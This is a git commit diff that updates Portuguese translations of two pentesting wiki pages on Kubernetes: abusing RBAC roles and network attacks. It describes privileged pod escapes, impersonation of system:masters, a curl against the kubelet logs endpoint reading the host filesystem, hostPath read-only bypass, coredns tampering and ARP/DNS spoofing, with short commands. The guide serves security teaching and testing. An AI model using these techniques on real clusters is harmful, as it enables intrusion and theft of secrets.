Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

2026-02-05 03:16:37 -08:00 · 2025-04-14 22:06:58 +00:00
parent d4e5fbb03e
commit 32b14fab56
2 changed files with 125 additions and 34 deletions
--- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
+++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
@@ -76,9 +76,9 @@ hostNetwork: true

 O seguinte indica todos os privilégios que um contêiner pode ter:

- **Acesso privilegiado** (desativando proteções e definindo capacidades)
- **Desativar namespaces hostIPC e hostPid** que podem ajudar a escalar privilégios
- **Desativar o namespace hostNetwork**, dando acesso para roubar privilégios de nuvem dos nós e melhor acesso às redes
+- **Acesso privilegiado** (desabilitando proteções e configurando capacidades)
+- **Desabilitar namespaces hostIPC e hostPid** que podem ajudar a escalar privilégios
+- **Desabilitar o namespace hostNetwork**, dando acesso para roubar privilégios de nuvem dos nós e melhor acesso às redes
 - **Montar hosts / dentro do contêiner**
 ```yaml:super_privs.yaml
 apiVersion: v1
@@ -151,7 +151,7 @@ pod-escape-privileges.md

 ### **Criar/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs**

-É possível abusar dessas permissões para **criar um novo pod** e estabelecer privilégios como no exemplo anterior.
+É possível abusar dessas permissões para **criar um novo pod** e escalar privilégios como no exemplo anterior.

 O seguinte yaml **cria um daemonset e exfiltra o token da SA** dentro do pod:
 ```yaml
@@ -204,7 +204,7 @@ Se for um contêiner distroless, você pode tentar usar **builtins de shell** pa

 ### port-forward

-Esta permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso é destinado a facilitar a depuração de aplicativos em execução dentro de um pod, mas um atacante pode abusar disso para obter acesso a aplicativos interessantes (como bancos de dados) ou vulneráveis (webs?) dentro de um pod:
+Esta permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso é destinado a facilitar a depuração de aplicativos em execução dentro de um pod, mas um atacante pode abusar disso para obter acesso a aplicativos interessantes (como DBs) ou vulneráveis (webs?) dentro de um pod:
 ```bash
 kubectl port-forward pod/mypod 5000:5000
 ```
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
 # Keep incrementing tail to exfiltrate the whole file
 ```
- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://<gateway>:10250/logs/sym/` ele listará o sistema de arquivos raiz** do host (alterar o symlink pode fornecer acesso a arquivos).
+- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://<gateway>:10250/logs/sym/` ele listará o sistema de arquivos root** do host (alterar o symlink pode fornecer acesso a arquivos).
 ```bash
 curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
 <a href="bin">bin</a>
@@ -246,13 +246,13 @@ mount -o rw,remount /hostlogs/
 ```
 #### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>

-Como afirmado em [**esta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), é possível contornar a proteção:
+Conforme declarado em [**esta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), é possível contornar a proteção:
 ```yaml
 allowedHostPaths:
 - pathPrefix: "/foo"
 readOnly: true
 ```
-Que visava prevenir escapes como os anteriores, ao invés de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável:
+O que deveria prevenir escapes como os anteriores, ao invés de usar um hostPath mount, é usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável:
 ```yaml
 apiVersion: v1
 kind: PersistentVolume
@@ -298,11 +298,11 @@ volumeMounts:
 - mountPath: "/hostlogs"
 name: task-pv-storage-vol
 ```
-### **Imitando contas privilegiadas**
+### **Impersonando contas privilegiadas**

-Com um privilégio de [**imitação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia imitar uma conta privilegiada.
+Com um privilégio de [**impersonação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada.

-Basta usar o parâmetro `--as=<username>` no comando `kubectl` para imitar um usuário, ou `--as-group=<group>` para imitar um grupo:
+Basta usar o parâmetro `--as=<username>` no comando `kubectl` para se passar por um usuário, ou `--as-group=<group>` para se passar por um grupo:
 ```bash
 kubectl get pods --as=system:serviceaccount:kube-system:default
 kubectl get secrets --as=null --as-group=system:masters
@@ -388,13 +388,72 @@ Note que se você tiver permissão para criar e ler segredos em um determinado n

 Enquanto um atacante em posse de um token com permissões de leitura requer o nome exato do segredo para usá-lo, ao contrário do privilégio mais amplo de _**listar segredos**_, ainda existem vulnerabilidades. As contas de serviço padrão no sistema podem ser enumeradas, cada uma associada a um segredo. Esses segredos têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres) de acordo com o [código-fonte](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).

-O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14.348.907 (27^5). Consequentemente, um atacante poderia executar um ataque de força bruta para deduzir o token em questão de horas, potencialmente levando a uma escalada de privilégios ao acessar contas de serviço sensíveis.
+O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14.348.907 (27^5). Consequentemente, um atacante poderia viavelmente executar um ataque de força bruta para deduzir o token em questão de horas, potencialmente levando a uma escalada de privilégios ao acessar contas de serviço sensíveis.

-### Solicitações de Assinatura de Certificado
+### EncrpytionConfiguration em texto claro
+
+É possível encontrar chaves em texto claro para criptografar dados em repouso neste tipo de objeto como:
+```yaml
+# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
+
+#
+# CAUTION: this is an example configuration.
+#          Do not use this for your own cluster!
+#
+
+apiVersion: apiserver.config.k8s.io/v1
+kind: EncryptionConfiguration
+resources:
+- resources:
+- secrets
+- configmaps
+- pandas.awesome.bears.example # a custom resource API
+providers:
+# This configuration does not provide data confidentiality. The first
+# configured provider is specifying the "identity" mechanism, which
+# stores resources as plain text.
+#
+- identity: {} # plain text, in other words NO encryption
+- aesgcm:
+keys:
+- name: key1
+secret: c2VjcmV0IGlzIHNlY3VyZQ==
+- name: key2
+secret: dGhpcyBpcyBwYXNzd29yZA==
+- aescbc:
+keys:
+- name: key1
+secret: c2VjcmV0IGlzIHNlY3VyZQ==
+- name: key2
+secret: dGhpcyBpcyBwYXNzd29yZA==
+- secretbox:
+keys:
+- name: key1
+secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
+- resources:
+- events
+providers:
+- identity: {} # do not encrypt Events even though *.* is specified below
+- resources:
+- '*.apps' # wildcard match requires Kubernetes 1.27 or later
+providers:
+- aescbc:
+keys:
+- name: key2
+secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
+- resources:
+- '*.*' # wildcard match requires Kubernetes 1.27 or later
+providers:
+- aescbc:
+keys:
+- name: key3
+secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
+```
+### Certificate Signing Requests

 Se você tiver os verbos **`create`** no recurso `certificatesigningrequests` (ou pelo menos em `certificatesigningrequests/nodeClient`). Você pode **criar** um novo CeSR de um **novo nó.**

-De acordo com a [documentação, é possível aprovar automaticamente essas solicitações](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então, nesse caso, você **não precisa de permissões extras**. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`
+De acordo com a [documentação é possível aprovar automaticamente essas solicitações](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então, nesse caso, você **não precisa de permissões extras**. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`

 Um **exemplo de um papel** com todas as permissões necessárias é:
 ```yaml
@@ -429,7 +488,7 @@ verbs:
 ```
 Então, com o novo CSR do nó aprovado, você pode **abusar** das permissões especiais dos nós para **roubar segredos** e **escalar privilégios**.

-Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**este aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios ao roubar segredos.\
+Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**este aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios roubando segredos.\
 Se você **tiver os privilégios mencionados, poderá fazer a mesma coisa**. Note que o primeiro exemplo contorna o erro que impede um novo nó de acessar segredos dentro de contêineres porque um **nó só pode acessar os segredos dos contêineres montados nele.**

 A maneira de contornar isso é apenas **criar credenciais de nó para o nome do nó onde o contêiner com os segredos interessantes está montado** (mas apenas verifique como fazer isso no primeiro post):
@@ -486,11 +545,11 @@ groups:

 ### CoreDNS config map

-Se você tiver permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode modificar os domínios de endereço que serão resolvidos para poder realizar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**.
+Se você tiver as permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode modificar os domínios de endereço que serão resolvidos para poder realizar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**.

 Os verbos necessários são **`update`** e **`patch`** sobre o **`coredns`** configmap (ou todos os config maps).

-Um arquivo **coredns regular** contém algo como isto:
+Um arquivo **coredns** regular contém algo como isto:
 ```yaml
 data:
 Corefile: |
@@ -529,8 +588,8 @@ Outra opção é simplesmente editar o arquivo executando `kubectl edit configma
 Existem **2 maneiras de atribuir permissões K8s a principais do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para poder coletar credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração kubectl** (siga o próximo link).

 > [!WARNING]
-> Ao se comunicar com o endpoint da API K8s, o **token de autenticação do GCP será enviado**. Então, o GCP, através do endpoint da API K8s, primeiro **verificará se o principal** (por e-mail) **tem algum acesso dentro do cluster**, depois verificará se ele tem **qualquer acesso via GCP IAM**.\
-> Se **qualquer** um desses for **verdadeiro**, ele será **respondido**. Se **não**, um **erro** sugerindo conceder **permissões via GCP IAM** será fornecido.
+> Ao falar com o endpoint da API K8s, o **token de autenticação do GCP será enviado**. Então, o GCP, através do endpoint da API K8s, primeiro **verificará se o principal** (por e-mail) **tem algum acesso dentro do cluster**, depois verificará se ele tem **qualquer acesso via GCP IAM**.\
+> Se **qualquer** um desses for **verdadeiro**, ele será **respondido**. Se **não**, um **erro** sugerindo conceder **permissões via GCP IAM** será dado.

 Então, o primeiro método é usar **GCP IAM**, as permissões K8s têm suas **permissões equivalentes do GCP IAM**, e se o principal as tiver, poderá usá-las.

@@ -542,7 +601,7 @@ O segundo método é **atribuir permissões K8s dentro do cluster** identificand

 ### Criar token de serviceaccounts

-Principais que podem **criar TokenRequests** (`serviceaccounts/token`) ao se comunicar com o endpoint da API K8s SAs (informações de [**aqui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
+Principais que podem **criar TokenRequests** (`serviceaccounts/token`) ao falar com o endpoint da API K8s SAs (informações de [**aqui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).

 ### ephemeralcontainers

@@ -550,14 +609,14 @@ Principais que podem **`update`** ou **`patch`** **`pods/ephemeralcontainers`**

 ### ValidatingWebhookConfigurations ou MutatingWebhookConfigurations

-Principais com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** a fim de **escalar privilégios**.
+Principais com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**.

-Para um [exemplo de `mutatingwebhookconfigurations`, confira esta seção deste post](#malicious-admission-controller).
+Para um [exemplo de `mutatingwebhookconfigurations`, verifique esta seção deste post](#malicious-admission-controller).

 ### Escalar

 Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate` ou `*`** sobre **`roles`** ou **`clusterroles`** e as respectivas opções de binding.\
-Então ele pode atualizar/criar novas roles, clusterroles com melhores permissões do que as que possui.
+Então ele pode atualizar/criar novas roles, clusterroles com melhores permissões do que as que ele possui.

 ### Proxy de nós

@@ -657,7 +716,7 @@ Então, implante um novo pod:
 kubectl run nginx --image nginx
 kubectl get po -w
 ```
-Quando você pode ver o erro `ErrImagePull`, verifique o nome da imagem com qualquer uma das consultas:
+Quando você vê o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas:
 ```bash
 kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
 kubectl describe po nginx | grep "Image: "
@@ -693,9 +752,9 @@ O trecho acima substitui a primeira imagem do contêiner em cada pod por `rewant

 ### **Atribuição Restritiva de Usuários em RoleBindings/ClusterRoleBindings**

- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estão incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa.
+- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa.

-### **Papéis Específicos de Namespace Sobre Papéis de Cluster**
+### **Papéis Específicos de Namespace em vez de Papéis de Cluster**

 - **Papéis vs. ClusterRoles**: Prefira usar Roles e RoleBindings para permissões específicas de namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam em todo o cluster. Essa abordagem oferece um controle mais fino e limita o escopo das permissões.

--- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
@@ -4,14 +4,14 @@

 ## Introdução

-No Kubernetes, observa-se que um comportamento padrão permite o estabelecimento de conexões entre **todos os contêineres residindo no mesmo nó**. Isso se aplica independentemente das distinções de namespace. Essa conectividade se estende até **Camada 2** (Ethernet). Consequentemente, essa configuração potencialmente expõe o sistema a vulnerabilidades. Especificamente, abre a possibilidade para um **contêiner malicioso** executar um **ataque de spoofing ARP** contra outros contêineres situados no mesmo nó. Durante tal ataque, o contêiner malicioso pode enganosamente interceptar ou modificar o tráfego de rede destinado a outros contêineres.
+No Kubernetes, observa-se que um comportamento padrão permite o estabelecimento de conexões entre **todos os contêineres residindo no mesmo nó**. Isso se aplica independentemente das distinções de namespace. Tal conectividade se estende até **Camada 2** (Ethernet). Consequentemente, essa configuração potencialmente expõe o sistema a vulnerabilidades. Especificamente, abre a possibilidade para um **contêiner malicioso** executar um **ataque de spoofing ARP** contra outros contêineres situados no mesmo nó. Durante tal ataque, o contêiner malicioso pode enganosamente interceptar ou modificar o tráfego de rede destinado a outros contêineres.

 Os ataques de spoofing ARP envolvem o **atacante enviando mensagens ARP falsificadas** (Protocolo de Resolução de Endereços) por uma rede local. Isso resulta na vinculação do **endereço MAC do atacante com o endereço IP de um computador ou servidor legítimo na rede**. Após a execução bem-sucedida de tal ataque, o atacante pode interceptar, modificar ou até mesmo interromper dados em trânsito. O ataque é executado na Camada 2 do modelo OSI, razão pela qual a conectividade padrão no Kubernetes nessa camada levanta preocupações de segurança.

-No cenário, 4 máquinas vão ser criadas:
+No cenário, 4 máquinas serão criadas:

 - ubuntu-pe: Máquina privilegiada para escapar para o nó e verificar métricas (não necessária para o ataque)
- **ubuntu-attack**: **Contêiner malicioso** no namespace padrão
+- **ubuntu-attack**: Contêiner **malicioso** no namespace padrão
 - **ubuntu-victim**: Máquina **vítima** no namespace kube-system
 - **mysql**: Máquina **vítima** no namespace padrão
 ```yaml
@@ -145,14 +145,14 @@ nameserver 10.96.0.10
 ```
 No entanto, o pod **não sabe** como chegar a esse **endereço** porque o **intervalo de pods** neste caso é 172.17.0.10/26.

-Portanto, o pod enviará as **solicitações DNS para o endereço 10.96.0.10**, que será **traduzido** pelo cbr0 **para** **172.17.0.2**.
+Portanto, o pod enviará as **requisições DNS para o endereço 10.96.0.10**, que será **traduzido** pelo cbr0 **para** **172.17.0.2**.

 > [!WARNING]
-> Isso significa que uma **solicitação DNS** de um pod **sempre** irá para a **ponte** para **traduzir** o **IP do serviço para o IP do endpoint**, mesmo que o servidor DNS esteja na mesma sub-rede que o pod.
+> Isso significa que uma **requisição DNS** de um pod **sempre** irá para a **ponte** para **traduzir** o **IP do serviço para o IP do endpoint**, mesmo que o servidor DNS esteja na mesma sub-rede que o pod.
 >
 > Sabendo disso, e sabendo que **ataques ARP são possíveis**, um **pod** em um nó será capaz de **interceptar o tráfego** entre **cada pod** na **sub-rede** e a **ponte** e **modificar** as **respostas DNS** do servidor DNS (**DNS Spoofing**).
 >
-> Além disso, se o **servidor DNS** estiver no **mesmo nó que o atacante**, o atacante pode **interceptar todas as solicitações DNS** de qualquer pod no cluster (entre o servidor DNS e a ponte) e modificar as respostas.
+> Além disso, se o **servidor DNS** estiver no **mesmo nó que o atacante**, o atacante pode **interceptar todas as requisições DNS** de qualquer pod no cluster (entre o servidor DNS e a ponte) e modificar as respostas.

 ## ARP Spoofing em pods no mesmo Nó

@@ -237,7 +237,7 @@ Como já mencionado, se você **comprometer um pod no mesmo nó do pod do servid

 Você tem uma **ferramenta** e um **tutorial** muito bons para testar isso em [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)

-No nosso cenário, **baixe** a **ferramenta** no pod do atacante e crie um \*\*arquivo chamado `hosts` \*\* com os **domínios** que você deseja **spoof** como:
+No nosso cenário, **baixe** a **ferramenta** no pod atacante e crie um **arquivo chamado `hosts`** com os **domínios** que você deseja **spoof** como:
 ```
 cat hosts
 google.com. 1.1.1.1
@@ -263,10 +263,42 @@ google.com.		1	IN	A	1.1.1.1
 > Se você tentar criar seu próprio script de spoofing de DNS, se você **apenas modificar a resposta DNS** isso **não** vai **funcionar**, porque a **resposta** vai ter um **src IP** o endereço IP do **pod** **malicioso** e **não será** **aceita**.\
 > Você precisa gerar um **novo pacote DNS** com o **src IP** do **DNS** onde a vítima envia a solicitação DNS (que é algo como 172.16.0.2, não 10.96.0.10, esse é o IP do serviço DNS do K8s e não o IP do servidor DNS, mais sobre isso na introdução).

+## DNS Spoofing via coreDNS configmap
+
+Um usuário com permissões de escrita sobre o configmap `coredns` no namespace kube-system pode modificar as respostas DNS do cluster.
+
+Confira mais informações sobre este ataque em:
+
+{{#ref}}
+abusing-roles-clusterroles-in-kubernetes/README.md
+{{/ref}}
+
+## Abusando serviços de gerenciamento de kubernetes expostos
+
+Serviços como Apache NiFi, Kubeflow, Argo Workflows, Weave Scope e o painel do Kubernetes são frequentemente expostos tanto à internet quanto dentro da rede do kubernetes. Um atacante que conseguir **encontrar qualquer plataforma usada para gerenciar kubernetes e acessá-la** pode abusar dela para obter acesso à API do kubernetes e realizar ações como criar novos pods, modificar os existentes ou até mesmo excluí-los.
+
+## Enumerando políticas de rede do kubernetes
+
+Obtenha **networkpolicies** configuradas:
+```bash
+kubectl get networkpolicies --all-namespaces
+```
+Obtenha as políticas de rede **Callico**:
+```bash
+kubectl get globalnetworkpolicy --all-namespaces
+```
+Obter políticas de rede **Cillium**:
+```bash
+kubectl get ciliumnetworkpolicy --all-namespaces
+```
+Obtenha outros CRDs relacionados a políticas instalados pelo seu plugin de rede ou solução de segurança:
+```bash
+kubectl get crd | grep -i policy
+```
 ## Capturando Tráfego

 A ferramenta [**Mizu**](https://github.com/up9inc/mizu) é um visualizador de tráfego de API **simples, mas poderoso para Kubernetes**, permitindo que você **veja toda a comunicação de API** entre microsserviços para ajudar a depurar e solucionar regressões.\
-Ela instalará agentes nos pods selecionados e coletará suas informações de tráfego e mostrará em um servidor web. No entanto, você precisará de altas permissões no K8s para isso (e não é muito discreto).
+Ela instalará agentes nos pods selecionados e coletará suas informações de tráfego, mostrando-as em um servidor web. No entanto, você precisará de altas permissões K8s para isso (e não é muito discreto).

 ## Referências